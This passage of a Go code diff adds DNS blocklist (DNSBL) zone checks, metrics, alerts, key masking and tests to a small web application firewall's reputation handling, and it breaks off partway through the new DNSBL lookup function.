"sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/reputation" @@ -256,24 +257,53 @@ func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() i ) } -// AddReputation adds the metrics of the lists fetched from URLs, by -// source, each list's URL: the requests whose client a blocklist lists, -// which ReputationHit counts, and, read from lists as the metrics are -// asked for, the fetches that failed and when the copy in use was fetched. -// It is called once, before ReputationHit. -func (m *Metrics) AddReputation(lists *reputation.Lists) { +// AddReputation adds the metrics of the lists fetched from URLs and of the +// DNSBL zones, by source, each list's URL or each zone, its key masked as +// config.MaskZoneKey masks it: the requests whose client a blocklist or a +// zone's verdict lists, which ReputationHit counts, and, read from lists +// and dnsbl as the metrics are asked for, for a list, the fetches that +// failed and when the copy in use was fetched, and for a zone, the queries +// made and those that failed. It is called once, before ReputationHit. +func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) { + const ( + sourceLabel = "source" + failuresHelp = "Fetches of the list, or queries to the DNSBL zone, that failed." + ) + m.reputationHits = counterVec("smallwebwaf_reputation_hits_total", - "Requests whose client a blocklist lists, by the blocklist's URL.", - []string{"source"}) + "Requests whose client a blocklist or a DNSBL zone lists, by the "+ + "blocklist's URL or the zone.", + []string{sourceLabel}) m.registry.MustRegister(m.reputationHits) + for _, zone := range dnsbl.Zones() { + source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)} + + m.registry.MustRegister( + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_reputation_queries_total", + Help: "Queries to the DNSBL zone.", + ConstLabels: source, + }, func() float64 { + return float64(dnsbl.Queries(zone)) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_reputation_failures_total", + Help: failuresHelp, + ConstLabels: source, + }, func() float64 { + return float64(dnsbl.Failures(zone)) + }), + ) + } + for _, listURL := range lists.URLs() { - source := prometheus.Labels{"source": listURL} + source := prometheus.Labels{sourceLabel: listURL} m.registry.MustRegister( prometheus.NewCounterFunc(prometheus.CounterOpts{ Name: "smallwebwaf_reputation_failures_total", - Help: "Fetches of the list that failed.", + Help: failuresHelp, ConstLabels: source, }, func() float64 { return float64(lists.Failures(listURL)) @@ -295,8 +325,8 @@ func (m *Metrics) AddReputation(lists *reputation.Lists) { } } -// ReputationHit counts a request whose client the blocklist at source, its -// URL, lists. +// ReputationHit counts a request whose client source lists: a blocklist, +// by its URL, or a DNSBL zone, its key masked. func (m *Metrics) ReputationHit(source string) { m.reputationHits.WithLabelValues(source).Inc() } diff --git a/internal/proxy/biased.go b/internal/proxy/biased.go index aab89ca..00462f4 100644 --- a/internal/proxy/biased.go +++ b/internal/proxy/biased.go @@ -28,16 +28,18 @@ func biasedThresholdsSet(cfg *config.Config) bool { // limitPercentages returns the client's limit percentages, for the rate // limits and for the byte limits, by its AS number and country as looked -// up, each "" when unknown, and the blocklists that list it. Each is the -// lowest of those the settings give it, the first of them in the order -// below when several are lowest: the percentage SWWAF_ASN_LIMIT_PERCENT -// gives its AS number, the one the file SWWAF_ASN_LIMIT_PERCENT_URL names -// gives it, the one SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a -// client without a country, SWWAF_UNKNOWN_LIMIT_PERCENT, and for a client -// a blocklist lists, the percentage of SWWAF_BLOCKLIST_ACTION while it is -// limit. For the byte limits, SWWAF_ASN_BYTES_PERCENT and -// SWWAF_COUNTRY_BYTES_PERCENT take the place of the first three for an AS -// number or a country they list. +// up, each "" when unknown, and the blocklists and DNSBL zones that list +// it. Each is the lowest of those the settings give it, the first of them +// in the order below when several are lowest: the percentage +// SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file +// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one +// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a +// country, SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, +// the percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a +// client a DNSBL zone's verdict lists, the percentage of +// SWWAF_REPUTATION_ACTION while it is limit. For the byte limits, +// SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the place +// of the first three for an AS number or a country they list. func (rq *request) limitPercentages() (percentage, percentage) { cfg := rq.h.config asn, country := rq.line.ASN, rq.line.Country @@ -52,9 +54,14 @@ func (rq *request) limitPercentages() (percentage, percentage) { fetched = percentage{percent, "SWWAF_ASN_LIMIT_PERCENT_URL"} } - listed := percentage{percent: whole} - if len(rq.line.Reputation) > 0 && cfg.BlocklistAction == "limit" { - listed = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"} + blocklisted := percentage{percent: whole} + if rq.blocklisted && cfg.BlocklistAction == "limit" { + blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"} + } + + dnsblListed := percentage{percent: whole} + if rq.dnsblListed && cfg.ReputationAction == "limit" { + dnsblListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"} } asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"), @@ -71,8 +78,8 @@ func (rq *request) limitPercentages() (percentage, percentage) { countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT") } - return lowest(asnRequests, countryRequests, unknown, listed), - lowest(asnBytes, countryBytes, unknown, listed) + return lowest(asnRequests, countryRequests, unknown, blocklisted, dnsblListed), + lowest(asnBytes, countryBytes, unknown, blocklisted, dnsblListed) } // given returns the percentage percents, the setting named setting, gives diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 170eb92..edb130f 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -71,15 +71,15 @@ type Params struct { Rules *rules.Files // Alerts receive the alert for each ban the proxy makes or makes // permanent, for each count over an anomaly threshold, for each request - // whose client a blocklist lists, and for GeoJS failing or a fetch of a - // list failing. + // whose client a blocklist or a DNSBL zone lists, and for GeoJS failing, + // a fetch of a list failing or a query to a DNSBL zone failing. Alerts *alerts.Queue } // Server is the server smallwebwaf runs, with the parts of the proxy // whose state the state files keep, the lookup database, nil unless // SWWAF_LOOKUP_SOURCE is file, the lists fetched from URLs, which its Run -// fetches, and the metrics. +// fetches, the DNSBL zones' verdicts, and the metrics. type Server struct { *http.Server @@ -89,6 +89,7 @@ type Server struct { Anomalies *anomaly.Counters LookupFile *lookup.File Lists *reputation.Lists + DNSBL *reputation.DNSBL Metrics *metrics.Metrics } @@ -101,6 +102,7 @@ type Server struct { func New(params Params) *Server { errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn) m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName) + lists, dnsbl := newReputation(params) h := &handler{ config: params.Config, requestLog: params.RequestLog, @@ -136,13 +138,10 @@ func New(params Params) *Server { Alerts: params.Alerts, }), lookupFile: params.LookupFile, - lists: reputation.New(reputation.Params{ - BlocklistURLs: params.Config.BlocklistURLs, Refresh: params.Config.BlocklistRefresh, - ASNLimitPercentURL: params.Config.ASNLimitPercentURL, Now: params.Now, - ProcessLog: params.ProcessLog, Alerts: params.Alerts, - }), - rules: params.Rules, - alerts: params.Alerts, + lists: lists, + dnsbl: dnsbl, + rules: params.Rules, + alerts: params.Alerts, } h.geojs = lookup.New(lookup.Params{ URL: params.GeoJSURL, @@ -160,7 +159,7 @@ func New(params Params) *Server { }) m.AddBansAndClients(h.ledger, h.limiter, params.Now) m.AddRules(params.Rules) - m.AddReputation(h.lists) + m.AddReputation(h.lists, h.dnsbl) return &Server{ Server: &http.Server{ @@ -181,10 +180,30 @@ func New(params Params) *Server { Anomalies: h.anomalies, LookupFile: h.lookupFile, Lists: h.lists, + DNSBL: h.dnsbl, Metrics: m, } } +// newReputation returns the lists fetched from URLs and the DNSBL zones' +// verdicts, as the settings in params name them, with none fetched or +// asked for yet. +func newReputation(params Params) (*reputation.Lists, *reputation.DNSBL) { + cfg := params.Config + lists := reputation.New(reputation.Params{ + BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh, + ASNLimitPercentURL: cfg.ASNLimitPercentURL, Now: params.Now, + ProcessLog: params.ProcessLog, Alerts: params.Alerts, + }) + dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{ + Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL, + Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog, + Alerts: params.Alerts, + }) + + return lists, dnsbl +} + // handler is the proxy. It holds what every request shares; what belongs // to one request is in a request. type handler struct { @@ -201,6 +220,7 @@ type handler struct { anomalies *anomaly.Counters lookupFile *lookup.File lists *reputation.Lists + dnsbl *reputation.DNSBL rules *rules.Files alerts *alerts.Queue } diff --git a/internal/proxy/reputation.go b/internal/proxy/reputation.go index 2867b2f..047fa0e 100644 --- a/internal/proxy/reputation.go +++ b/internal/proxy/reputation.go @@ -1,21 +1,47 @@ package proxy import ( + "context" + "sneak.berlin/go/smallwebwaf/internal/alerts" ) -// blocklistDenied notes in the log line the URLs of the blocklists that -// list the client, counts each of them in the metrics and raises a -// reputation_hit alert for it, and reports whether SWWAF_BLOCKLIST_ACTION, -// being deny, refuses the request. Being limit, it lowers the client's -// limits instead (see limitPercentages), and being log, it does nothing -// more. +// blocklistDenied notes the blocklists that list the client, as +// noteListed does, and reports whether SWWAF_BLOCKLIST_ACTION, being deny, +// refuses the request. Being limit, it lowers the client's limits instead +// (see limitPercentages), and being log, it does nothing more. func (rq *request) blocklistDenied() bool { listedBy := rq.h.lists.ListedBy(rq.client) - rq.line.Reputation = listedBy + rq.blocklisted = len(listedBy) > 0 + rq.noteListed(listedBy, "listed by a blocklist") - for _, listURL := range listedBy { - rq.h.metrics.ReputationHit(listURL) + return rq.blocklisted && rq.h.config.BlocklistAction == "deny" +} + +// dnsblDenied notes the DNSBL zones whose verdict lists the client, as +// noteListed does, and reports whether SWWAF_REPUTATION_ACTION, being +// deny, refuses the request. Being limit, it lowers the client's limits +// instead (see limitPercentages), and being log, it does nothing more. A +// zone without a verdict on the client is asked about it in the +// background, and the request does not wait for the answer. ctx is the +// request's own context. +func (rq *request) dnsblDenied(ctx context.Context) bool { + listedBy := rq.h.dnsbl.ListedBy(ctx, rq.client) + rq.dnsblListed = len(listedBy) > 0 + rq.noteListed(listedBy, "listed by a DNSBL zone") + + return rq.dnsblListed && rq.h.config.ReputationAction == "deny" +} + +// noteListed adds sources, the URLs of the blocklists or the DNSBL zones, +// their keys masked, that list the client, to the log line's reputation, +// counts each of them in the metrics, and raises a reputation_hit alert, +// with reason, for each. +func (rq *request) noteListed(sources []string, reason string) { + rq.line.Reputation = append(rq.line.Reputation, sources...) + + for _, source := range sources { + rq.h.metrics.ReputationHit(source) rq.h.alerts.Raise(alerts.Alert{ Event: alerts.EventReputationHit, Client: rq.client, @@ -23,10 +49,8 @@ func (rq *request) blocklistDenied() bool { ASN: rq.line.ASN, ASName: rq.line.ASName, Country: rq.line.Country, - Reason: "listed by a blocklist", - Detail: map[string]any{"source": listURL}, + Reason: reason, + Detail: map[string]any{"source": source}, }) } - - return len(listedBy) > 0 && rq.h.config.BlocklistAction == "deny" } diff --git a/internal/proxy/reputation_test.go b/internal/proxy/reputation_test.go index 9381f29..21a210c 100644 --- a/internal/proxy/reputation_test.go +++ b/internal/proxy/reputation_test.go @@ -5,6 +5,7 @@ import ( "net/http" "net/netip" "slices" + "strings" "testing" "time" @@ -21,11 +22,14 @@ const ( asnLimitPercentURL = "SWWAF_ASN_LIMIT_PERCENT_URL" ) -// The actions of SWWAF_BLOCKLIST_ACTION but limit, which has a -// percentage. +// The actions of SWWAF_BLOCKLIST_ACTION and SWWAF_REPUTATION_ACTION: +// limitHalf gives a listed client half of every limit, and limitQuarter a +// quarter. const ( - actionDeny = "deny" - actionLog = "log" + actionDeny = "deny" + actionLog = "log" + limitHalf = "limit:50" + limitQuarter = "limit:25" ) // The lists these tests name, which are never fetched: each test puts in @@ -55,7 +59,7 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) { }, { // Half of 4 requests a minute: the third breaks the limit. - "limit:50", []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, + limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, []string{forward, forward, requestlog.ActionRateLimited}, "50 from " + blocklistAction, }, @@ -151,10 +155,10 @@ func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) // percentText gives them, and limitHit its limit_hit. want, limitHit string }{ - {"limit:50", asnDEQuarter, "25 from " + asnLimitPercent, minuteBytes}, - {"limit:25", asnDEHalf, "25 from " + blocklistAction, minuteBytes}, + {limitHalf, asnDEQuarter, "25 from " + asnLimitPercent, minuteBytes}, + {limitQuarter, asnDEHalf, "25 from " + blocklistAction, minuteBytes}, // The AS number's, the first of two alike. - {"limit:25", asnDEQuarter, "25 from " + asnLimitPercent, minuteBytes}, + {limitQuarter, asnDEQuarter, "25 from " + asnLimitPercent, minuteBytes}, {actionLog, asnDE + ":100", none, ""}, } { t.Run(tc.action+" "+tc.asnPercent, func(t *testing.T) { @@ -299,11 +303,334 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( } } +// The DNSBL settings. +const ( + dnsblZones = "SWWAF_DNSBL_ZONES" + dnsblResolver = "SWWAF_DNSBL_RESOLVER" + reputationAction = "SWWAF_REPUTATION_ACTION" +) + +// The DNSBL zones these tests name, which are never asked about the +// clients the tests send requests from: each test puts in the verdicts it +// needs, as reputation.json would at start. A query a test does start is +// sent to noResolver, where nothing listens, so that none leaves the host. +const ( + dnsblZone = "dnsbl.example" + otherZone = "other.example" + noResolver = "127.0.0.1:9" +) + +func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) { + t.Parallel() + + forward, denied := requestlog.ActionForward, requestlog.ActionDenied + + for _, tc := range []struct { + action string + // statuses and actions are those of a listed client's three + // requests, and percent their limit_percent, as percentText gives it. + statuses []int + actions []string + percent string + }{ + { + actionDeny, []int{http.StatusForbidden, http.StatusForbidden, http.StatusForbidden}, + []string{denied, denied, denied}, none, + }, + { + // Half of 4 requests a minute: the third breaks the limit. + limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, + []string{forward, forward, requestlog.ActionRateLimited}, + "50 from " + reputationAction, + }, + { + actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK}, + []string{forward, forward, forward}, none, + }, + } { + t.Run(tc.action, func(t *testing.T) { + t.Parallel() + + s, server, _ := startWithLookups(t, map[string]string{ + rateLimitPerMinute: fourAMinute, dnsblZones: dnsblZone + "," + otherZone, + dnsblResolver: noResolver, reputationAction: tc.action, + }) + listedBy := map[string][]string{ + fromDE: {dnsblZone, otherZone}, fromKP: {otherZone}, unplaced: nil, + } + loadVerdicts(server, listedBy) + + for _, from := range []string{fromDE, fromKP} { + for i := range 3 { + line := s.get(from, tc.statuses[i], tc.actions[i]) + // In the order SWWAF_DNSBL_ZONES names them. + wantReputation(t, line, listedBy[from]...) + wantPercent(t, "limit_percent", line.LimitPercent, + line.LimitPercentSetting, tc.percent) + + // A request refused for the verdict is not counted. + counted := line.fields["counts"] != nil + if counted != (tc.actions[i] != denied) { + t.Errorf("request from %s counted %t, logged %s", from, counted, + tc.actions[i]) + } + } + } + + // A client no zone lists has the whole limit. + for range 3 { + line := s.get(unplaced, http.StatusOK, forward) + wantReputation(t, line) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + none) + } + + // A refusal for the verdict makes no ban, and every client had its + // verdicts, so no zone was asked. + if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 { + t.Errorf("bans %+v, want none", held) + } + + if queries := server.DNSBL.Queries(dnsblZone); queries != 0 { + t.Errorf("%d queries, want none", queries) + } + }) + } +} + +func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) { + t.Parallel() + + s, server, queue := startWithLookups(t, map[string]string{ + blocklistURLs: dropURL, dnsblZones: dnsblZone, dnsblResolver: noResolver, + reputationAction: actionDeny, allowNets: fromDE, + }) + loadLists(t, server, map[string][]string{dropURL: {fromKP}}) + loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}}) + + // The blocklist refuses fromKP before its verdict is looked at, and + // fromDE, in SWWAF_ALLOW_NETS, is not checked at all: neither is noted + // for the zone, nor alerted, nor asked about. + wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionDenied), + dropURL) + wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 || waiting[0].Detail["source"] != dropURL { + t.Errorf("alerts waiting %+v, want the blocklist's reputation_hit alone", waiting) + } + + if queries := server.DNSBL.Queries(dnsblZone); queries != 0 { + t.Errorf("%d queries, want none", queries) + } +} + +func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) { + t.Parallel() + + s, server, queue := startWithLookups(t, map[string]string{ + dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny, + mode: observe, + }) + loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) + + line := s.get(fromDE, http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionDenied) + wantReputation(t, line, dnsblZone) + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit { + t.Errorf("alerts waiting %+v, want a reputation_hit alert", waiting) + } +} + +func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + blocklistAction, reputationAction string + // want is the request's limit_percent and bytes_percent, as + // percentText gives them. + want string + }{ + {limitHalf, limitQuarter, "25 from " + reputationAction}, + {limitQuarter, limitHalf, "25 from " + blocklistAction}, + // The blocklist's, the first of two alike. + {limitQuarter, limitQuarter, "25 from " + blocklistAction}, + {actionLog, limitQuarter, "25 from " + reputationAction}, + {actionLog, actionLog, none}, + } { + t.Run(tc.blocklistAction+" "+tc.reputationAction, func(t *testing.T) { + t.Parallel() + + s, server, _ := startWithLookups(t, map[string]string{ + blocklistURLs: dropURL, blocklistAction: tc.blocklistAction, + dnsblZones: dnsblZone, dnsblResolver: noResolver, + reputationAction: tc.reputationAction, + }) + loadLists(t, server, map[string][]string{dropURL: {fromDE}}) + loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) + + // Named by the blocklist, then by the zone. + line := s.get(fromDE, http.StatusOK, requestlog.ActionForward) + wantReputation(t, line, dropURL, dnsblZone) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + tc.want) + wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, + tc.want) + }) + } +} + +func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( + t *testing.T, +) { + t.Parallel() + + s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ + dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver, + reputationAction: actionLog, metricsToken: token, + }) + loadVerdicts(server, map[string][]string{ + fromDE: {dnsblZone, otherZone}, unplaced: nil, + }) + + // The second request's alerts are repeats, which the cooldown holds + // back. + for range 2 { + wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), + dnsblZone, otherZone) + } + + hit := func(zone string) alerts.Alert { + return alerts.Alert{ + Instance: alertInstance, + Time: clk.Now(), + Event: alerts.EventReputationHit, + Client: netip.MustParseAddr(fromDE), + Netblock: netip.MustParsePrefix(fromDE + "/32"), + ASN: asnDE, + ASName: asNameDE, + Country: "DE", + Reason: "listed by a DNSBL zone", + Detail: map[string]any{"source": zone}, + } + } + wantAlerts(t, queue, hit(dnsblZone), hit(otherZone)) + + if queue.Suppressed() != 2 { + t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed()) + } + + // Each zone's hits, and its queries and their failures, none, since + // every client had its verdicts. + metrics := s.scrape(unplaced) + + for _, zone := range []string{dnsblZone, otherZone} { + labels := `{instance="` + alertInstance + `",source="` + zone + `"}` + + wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 2) + wantMetric(t, metrics, "smallwebwaf_reputation_queries_total"+labels, 0) + wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0) + } +} + +func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) { + t.Parallel() + + const ( + key = "abcdefghijklmnopqrstuvwxyz" + keyed = key + ".xbl.dq.spamhaus.net" + masked = "********.xbl.dq.spamhaus.net" + ) + + s, server, queue := startWithLookups(t, map[string]string{ + dnsblZones: keyed, dnsblResolver: noResolver, reputationAction: actionLog, + metricsToken: token, + }) + loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil}) + + wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), masked) + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 || waiting[0].Detail["source"] != masked { + t.Errorf("alerts waiting %+v, want a reputation_hit alert from %s", waiting, + masked) + } + + metrics := s.scrape(unplaced) + wantMetric(t, metrics, `smallwebwaf_reputation_hits_total{instance="`+ + alertInstance+`",source="`+masked+`"}`, 1) + + for name, shown := range map[string]string{ + "the log": s.out.text(), "the metrics": metrics, + } { + if strings.Contains(shown, key) { + t.Errorf("%s shows the key:\n%s", name, shown) + } + } +} + +func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) { + t.Parallel() + + s, server, _ := startWithLookups(t, map[string]string{ + dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver, + }) + server.DNSBL.Load([]reputation.Verdict{{ + Zone: otherZone, Client: netip.MustParseAddr(fromDE), Listed: true, + Fetched: verdictsFetched(), + }}) + + // The verdict of the other zone is used, and dnsbl.example, which has + // none, is asked about the client in the background, once: the second + // request finds the query under way, or the zone left alone after it + // failed, since nothing answers at noResolver. + for range 2 { + wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), otherZone) + } + + if queries := server.DNSBL.Queries(dnsblZone); queries != 1 { + t.Errorf("%d queries to %s, want 1", queries, dnsblZone) + } + + if queries := server.DNSBL.Queries(otherZone); queries != 0 { + t.Errorf("%d queries to %s, want none", queries, otherZone) + } +} + // listsFetched is when loadLists has the copies fetched. func listsFetched() time.Time { return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC) } +// verdictsFetched is when loadVerdicts has the verdicts fetched: half a +// day before the time the tests' clock is set to, so that they are in use +// until half a day later. +func verdictsFetched() time.Time { + return time.Date(2026, 10, 5, 12, 0, 0, 0, time.UTC) +} + +// loadVerdicts puts into server's DNSBL, for each client listedBy names, +// a verdict of each zone SWWAF_DNSBL_ZONES names, fetched at +// verdictsFetched, as reputation.json would at start: one that lists the +// client from each zone listedBy gives for it, and one that does not from +// each other zone. +func loadVerdicts(server *proxy.Server, listedBy map[string][]string) { + verdicts := make([]reputation.Verdict, 0, len(listedBy)*len(server.DNSBL.Zones())) + + for client, zones := range listedBy { + for _, zone := range server.DNSBL.Zones() { + verdicts = append(verdicts, reputation.Verdict{ + Zone: zone, Client: netip.MustParseAddr(client), + Listed: slices.Contains(zones, zone), Fetched: verdictsFetched(), + }) + } + } + + server.DNSBL.Load(verdicts) +} + // loadLists puts copies of lists into server's lists, by URL, each with // its lines, fetched at listsFetched, as reputation.json would at start. func loadLists(t *testing.T, server *proxy.Server, copies map[string][]string) { diff --git a/internal/proxy/request.go b/internal/proxy/request.go index ad2c463..7128a09 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -63,7 +63,10 @@ type request struct { // limits and for the byte limits. counted bool limitPercent, bytesPercent percentage - start time.Time + // blocklisted is true once a blocklist is found to list the client, + // and dnsblListed once a DNSBL zone's verdict is. + blocklisted, dnsblListed bool + start time.Time // checked is when the checks were done, and upstreamStart when the // request was handed to the app. checked time.Time @@ -213,14 +216,14 @@ func (rq *request) check(ctx context.Context) *refusal { // client in SWWAF_ALLOW_NETS skips them, and is not looked up. For any // other client, SWWAF_DENY_NETS comes first, then a ban on its netblock, // so that a client either refuses is not looked up, then the lookup of -// its AS number and country, then the country lists, and then the -// blocklists; a request any of them refuses is not counted for the rate -// limits. Then come the rate limits, unless the client is in -// SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is exempt under -// SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request is counted, -// each of them by the client's limit percentages, and last the rule -// files. A request exempt from the rate limits is exempt from the byte -// limits too. ctx is the request's own context. +// its AS number and country, then the country lists, then the blocklists, +// and then the DNSBL zones' verdicts; a request any of them refuses is not +// counted for the rate limits. Then come the rate limits, unless the +// client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is +// exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request +// is counted, each of them by the client's limit percentages, and last the +// rule files. A request exempt from the rate limits is exempt from the +// byte limits too. ctx is the request's own context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -247,6 +250,10 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionDenied } + if rq.dnsblDenied(ctx) { + return requestlog.ActionDenied + } + rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) && !pathExempt(rq.in.URL, cfg.RateLimitExemptPaths) if rq.counted { diff --git a/internal/reputation/dnsbl.go b/internal/reputation/dnsbl.go new file mode 100644 index 0000000..8eea45c --- /dev/null +++ b/internal/reputation/dnsbl.go @@ -0,0 +1,335 @@ +package reputation + +import ( + "cmp" + "context" + "encoding/hex" + "errors" + "fmt" + "log/slog" + "net" + "net/netip" + "slices" + "strings" + "sync" + "time" + + "github.com/hashicorp/golang-lru/v2/simplelru" + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/config" +) + +const ( + // maxVerdicts is how many verdicts are kept. Past it, the one fetched + // longest ago is dropped. + maxVerdicts = 100000 + // maxQueries is how many queries may be under way at once. Past it, a + // zone is not asked about a client until the client's next request, so + // that a swarm of new addresses cannot fill the memory. + maxQueries = 1000 + // failureDelay is how long a zone is not asked again after a query to + // it fails, so that a zone refusing queries is not asked on every + // request. + failureDelay = time.Minute +) + +var ( + errAsk = errors.New("ask the zone") + errRefused = errors.New("the zone refused the query") + errNotListing = errors.New("the answer is outside 127.0.0.0/8") +) + +// Verdict is what a zone said about a client, as reputation.json holds +// it: the zone, the client's address, whether the zone lists it, and when +// the zone answered. +type Verdict struct { + Zone string `json:"zone"` + Client netip.Addr `json:"client"` + Listed bool `json:"listed"` + Fetched time.Time `json:"fetched"` +} + +// DNSBLParams are what NewDNSBL needs. +type DNSBLParams struct { + // Zones are the DNSBL zones clients are asked about in + // (SWWAF_DNSBL_ZONES). + Zones []string + // Resolver is the resolver they are asked through + // (SWWAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the + // host's, as /etc/resolv.conf names it. + Resolver netip.AddrPort + // CacheTTL is how long a verdict is used after it was fetched + // (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take + // (SWWAF_REPUTATION_TIMEOUT). + CacheTTL time.Duration + Timeout time.Duration + // Now tells the time, normally time.Now in UTC. + Now func() time.Time + // ProcessLog receives each query that fails, and why. + ProcessLog *slog.Logger + // Alerts receive a source_failure alert for each query that fails. + Alerts *alerts.Queue +} + +// DNSBL asks the DNSBL zones about clients, in the background, and keeps +// their verdicts. It is safe for concurrent use. +type DNSBL struct { + params DNSBLParams + resolver *net.Resolver + + mu sync.Mutex + // verdicts are by query. Each is added as it is fetched and never moved + // up, so that the one fetched longest ago is the first dropped. + verdicts *simplelru.LRU[query, Verdict] + // asking are the queries under way. + asking map[query]bool + // queries and failures count, by zone, the queries made and those that + // failed, and retryAt is when a zone whose last query failed may be + // asked again. + queries map[string]int + failures map[string]int + retryAt map[string]time.Time +} + +// query is a client's address, to ask a zone about. +type query struct { + zone string + client netip.Addr +} + +// NewDNSBL returns a DNSBL with no verdict yet. +func NewDNSBL(params DNSBLParams) *DNSBL { + verdicts, err := simplelru.NewLRU[query, Verdict](maxVerdicts, nil) + if err != nil { + panic(err) // NewLRU fails only for a size below one + } + + resolver := &net.Resolver{} + if params.Resolver.IsValid() { + // Dial is used by Go's own resolver alone. + resolver.PreferGo = true + resolver.Dial = func(ctx context.Context, network, _ string) (net.Conn, error) { + var dialer net.Dialer + + return dialer.DialContext(ctx, network, params.Resolver.String()) + } + } + + return &DNSBL{ + params: params, + resolver: resolver, + verdicts: verdicts, + asking: map[query]bool{}, + queries: map[string]int{}, + failures: map[string]int{}, + retryAt: map[string]time.Time{}, + } +} + +// Zones returns the zones, in the order SWWAF_DNSBL_ZONES names them. +func (d *DNSBL) Zones() []string { + return slices.Clone(d.params.Zones) +} + +// ListedBy returns the zones whose verdict on addr, a client's address, +// lists it, in the order SWWAF_DNSBL_ZONES names them, each with its key +// masked, as config.MaskZoneKey masks it, since they go to the request +// log, the alerts and the metrics. A verdict is used until CacheTTL has +// passed since it was fetched. Each zone without one is asked about addr +// in the background, unless a query about addr to it is under way, the +// zone is left alone after a failure, or maxQueries are under way; +// ListedBy never waits for a query. ctx is the context of the client's +// request, and a query goes on after the request ends. +func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string { + d.mu.Lock() + defer d.mu.Unlock() + + now := d.params.Now() + + var listedBy []string + + for _, zone := range d.params.Zones { + 